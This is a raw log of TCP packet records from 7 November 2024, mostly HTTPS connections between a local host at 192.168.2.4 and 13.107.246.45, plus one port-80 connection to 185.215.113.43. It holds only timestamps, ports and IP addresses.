Nov 7, 2024 06:01:00.850972891 CET	443	49740	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.850999117 CET	49740	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.851037979 CET	49740	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.853202105 CET	49741	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.853223085 CET	443	49741	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.853236914 CET	49741	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.853241920 CET	443	49741	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.853696108 CET	443	49739	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.853799105 CET	443	49739	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.853862047 CET	49739	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.854830980 CET	49739	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.854830980 CET	49739	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.854870081 CET	443	49739	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.854895115 CET	443	49739	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.855684042 CET	49740	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.855694056 CET	443	49740	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.855706930 CET	49740	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.855712891 CET	443	49740	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.861361027 CET	49743	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.861378908 CET	443	49743	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.861445904 CET	49743	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.862423897 CET	49744	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.862471104 CET	443	49744	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.862540960 CET	49744	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.863775015 CET	49743	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.863789082 CET	443	49743	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.864238024 CET	49744	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.864250898 CET	443	49744	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.865535021 CET	49745	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.865557909 CET	443	49745	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.865619898 CET	49745	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.865736961 CET	49745	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.865751028 CET	443	49745	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.876014948 CET	443	49738	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.876032114 CET	443	49738	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.876121998 CET	443	49738	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.876132011 CET	49738	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.876173973 CET	49738	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.884320974 CET	443	49742	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.884444952 CET	443	49742	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.884535074 CET	49742	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.884620905 CET	49742	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.884634018 CET	443	49742	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.884682894 CET	49742	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.884695053 CET	443	49742	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.888696909 CET	49738	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.888704062 CET	443	49738	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.888716936 CET	49738	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.888720989 CET	443	49738	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.922355890 CET	49746	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.922416925 CET	443	49746	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.922497988 CET	49746	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.923201084 CET	49746	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.923213005 CET	443	49746	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.923707008 CET	49747	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.923719883 CET	443	49747	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.923789024 CET	49747	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.923902035 CET	49747	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.923913002 CET	443	49747	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.707190037 CET	443	49744	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.707664013 CET	49744	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.707679033 CET	443	49744	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.708122969 CET	49744	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.708128929 CET	443	49744	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.708816051 CET	443	49745	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.709027052 CET	49745	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.709043026 CET	443	49745	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.709361076 CET	49745	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.709367037 CET	443	49745	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.709820986 CET	443	49743	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.710007906 CET	49743	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.710021973 CET	443	49743	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.710311890 CET	49743	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.710316896 CET	443	49743	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.717535019 CET	443	49746	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.717734098 CET	49746	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.717746973 CET	443	49746	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.718048096 CET	49746	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.718053102 CET	443	49746	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.721345901 CET	443	49747	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.721518040 CET	49747	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.721534014 CET	443	49747	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.721782923 CET	49747	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.721788883 CET	443	49747	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.834820986 CET	443	49744	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.834933043 CET	443	49744	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.834983110 CET	49744	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.835144043 CET	49744	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.835159063 CET	443	49744	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.835167885 CET	49744	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.835174084 CET	443	49744	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.837918043 CET	443	49745	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.838206053 CET	443	49745	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.838247061 CET	49745	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.838970900 CET	49748	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.838989019 CET	443	49748	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.839050055 CET	49748	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.839287996 CET	49745	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.839297056 CET	443	49745	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.839310884 CET	49745	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.839319944 CET	443	49745	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.841181993 CET	49748	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.841197014 CET	443	49748	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.842267990 CET	49749	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.842291117 CET	443	49749	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.842344046 CET	49749	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.842470884 CET	49749	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.842485905 CET	443	49749	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.849898100 CET	443	49743	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.850066900 CET	443	49743	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.850115061 CET	49743	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.852791071 CET	49743	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.852797985 CET	443	49743	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.852807999 CET	49743	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.852812052 CET	443	49743	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.854618073 CET	49750	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.854625940 CET	443	49750	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.854686975 CET	49750	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.854696989 CET	443	49747	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.854840994 CET	443	49747	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.854883909 CET	49747	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.855148077 CET	49750	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.855159998 CET	443	49750	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.855292082 CET	49747	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.855295897 CET	443	49747	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.855307102 CET	49747	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.855309963 CET	443	49747	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.855669975 CET	443	49746	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.855953932 CET	443	49746	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.855995893 CET	49746	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.856336117 CET	49746	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.856343985 CET	443	49746	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.856353045 CET	49746	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.856357098 CET	443	49746	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.858046055 CET	49751	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.858055115 CET	443	49751	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.858117104 CET	49751	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.858216047 CET	49751	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.858227968 CET	443	49751	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.859286070 CET	49752	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.859317064 CET	443	49752	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:01.859363079 CET	49752	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.862380981 CET	49752	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:01.862394094 CET	443	49752	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.570296049 CET	443	49749	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.571760893 CET	443	49748	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.573082924 CET	49749	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.573107004 CET	443	49749	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.573566914 CET	49749	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.573573112 CET	443	49749	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.573944092 CET	49748	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.573966026 CET	443	49748	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.574312925 CET	49748	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.574320078 CET	443	49748	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.580194950 CET	443	49750	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.581373930 CET	49750	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.581381083 CET	443	49750	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.582406044 CET	49750	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.582411051 CET	443	49750	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.600224018 CET	443	49752	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.602216005 CET	49752	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.602226973 CET	443	49752	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.602622986 CET	49752	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.602627993 CET	443	49752	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.625580072 CET	443	49751	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.626050949 CET	49751	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.626060009 CET	443	49751	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.626427889 CET	49751	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.626432896 CET	443	49751	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.701893091 CET	443	49749	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.702147961 CET	443	49749	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.702436924 CET	49749	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.702466011 CET	49749	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.702466011 CET	49749	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.702478886 CET	443	49749	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.702488899 CET	443	49749	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.703824043 CET	443	49748	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.704077959 CET	443	49748	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.704161882 CET	49748	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.704289913 CET	49748	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.704303026 CET	443	49748	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.704312086 CET	49748	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.704317093 CET	443	49748	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.705605984 CET	49753	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.705638885 CET	443	49753	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.705740929 CET	49753	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.705874920 CET	49753	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.705893040 CET	443	49753	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.706387997 CET	49754	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.706424952 CET	443	49754	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.706489086 CET	49754	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.706614971 CET	49754	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.706628084 CET	443	49754	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.708022118 CET	443	49750	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.708314896 CET	443	49750	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.708364010 CET	49750	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.708383083 CET	49750	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.708390951 CET	443	49750	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.708400011 CET	49750	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.708403111 CET	443	49750	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.710275888 CET	49755	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.710283995 CET	443	49755	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.710345030 CET	49755	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.710452080 CET	49755	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.710462093 CET	443	49755	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.733165979 CET	443	49752	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.733222961 CET	443	49752	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.733438969 CET	49752	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.733478069 CET	49752	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.733478069 CET	49752	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.733488083 CET	443	49752	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.733496904 CET	443	49752	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.735734940 CET	49756	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.735775948 CET	443	49756	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.735857964 CET	49756	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.736001015 CET	49756	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.736011982 CET	443	49756	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.764391899 CET	443	49751	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.764455080 CET	443	49751	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.764645100 CET	49751	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.764755964 CET	49751	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.764776945 CET	443	49751	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.764790058 CET	49751	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.764794111 CET	443	49751	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.767625093 CET	49757	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.767653942 CET	443	49757	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:02.767720938 CET	49757	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.767868996 CET	49757	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:02.767882109 CET	443	49757	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.431319952 CET	443	49754	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.432044029 CET	49754	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.432063103 CET	443	49754	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.432672024 CET	49754	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.432677031 CET	443	49754	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.446595907 CET	443	49753	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.447113037 CET	49753	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.447138071 CET	443	49753	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.447590113 CET	49753	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.447597027 CET	443	49753	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.455349922 CET	443	49755	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.455799103 CET	49755	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.455807924 CET	443	49755	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.456355095 CET	49755	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.456361055 CET	443	49755	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.457479954 CET	443	49756	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.457882881 CET	49756	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.457900047 CET	443	49756	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.458270073 CET	49756	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.458276033 CET	443	49756	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.512577057 CET	443	49757	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.512949944 CET	49757	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.512972116 CET	443	49757	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.513396025 CET	49757	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.513401031 CET	443	49757	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.560658932 CET	443	49754	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.560771942 CET	443	49754	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.560842037 CET	49754	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.560969114 CET	49754	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.560981989 CET	443	49754	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.560992002 CET	49754	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.560997009 CET	443	49754	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.563746929 CET	49758	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.563781023 CET	443	49758	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.563844919 CET	49758	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.563971996 CET	49758	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.563982964 CET	443	49758	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.586023092 CET	443	49756	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.586256981 CET	443	49753	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.586363077 CET	443	49756	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.586384058 CET	443	49753	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.586419106 CET	49756	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.586437941 CET	49753	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.586452961 CET	49756	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.586462021 CET	443	49756	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.586467981 CET	49753	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.586472034 CET	49756	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.586477041 CET	443	49756	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.586487055 CET	443	49753	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.586502075 CET	49753	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.586508989 CET	443	49753	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.588084936 CET	443	49755	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.588217020 CET	443	49755	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.588269949 CET	49755	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.588452101 CET	49755	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.588457108 CET	443	49755	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.588469982 CET	49755	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.588474035 CET	443	49755	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.589792013 CET	49759	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.589808941 CET	443	49759	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.589879036 CET	49759	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.589880943 CET	49760	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.589906931 CET	443	49760	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.589956999 CET	49760	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.590024948 CET	49759	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.590035915 CET	443	49759	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.590118885 CET	49760	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.590127945 CET	443	49760	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.590344906 CET	49761	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.590363979 CET	443	49761	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.590421915 CET	49761	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.590483904 CET	49761	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.590497971 CET	443	49761	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.645862103 CET	443	49757	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.646080971 CET	443	49757	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.646158934 CET	49757	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.646222115 CET	49757	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.646236897 CET	443	49757	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.646246910 CET	49757	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.646250963 CET	443	49757	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.653208971 CET	49762	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.653237104 CET	443	49762	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.653296947 CET	49762	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.653673887 CET	49762	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:03.653681040 CET	443	49762	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:03.930150032 CET	49763	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:03.935216904 CET	80	49763	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:03.935338020 CET	49763	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:03.935497046 CET	49763	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:03.940268040 CET	80	49763	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:04.313484907 CET	443	49760	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.314318895 CET	49760	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.314351082 CET	443	49760	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.314798117 CET	49760	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.314805031 CET	443	49760	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.319005013 CET	443	49759	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.322124004 CET	443	49761	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.324199915 CET	49761	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.324222088 CET	443	49761	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.324284077 CET	49759	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.324310064 CET	443	49759	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.324685097 CET	49761	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.324690104 CET	443	49761	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.324795961 CET	49759	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.324800968 CET	443	49759	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.331820965 CET	443	49758	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.332212925 CET	49758	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.332236052 CET	443	49758	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.332593918 CET	49758	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.332598925 CET	443	49758	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.383162975 CET	443	49762	13.107.246.45	192.168.2.4
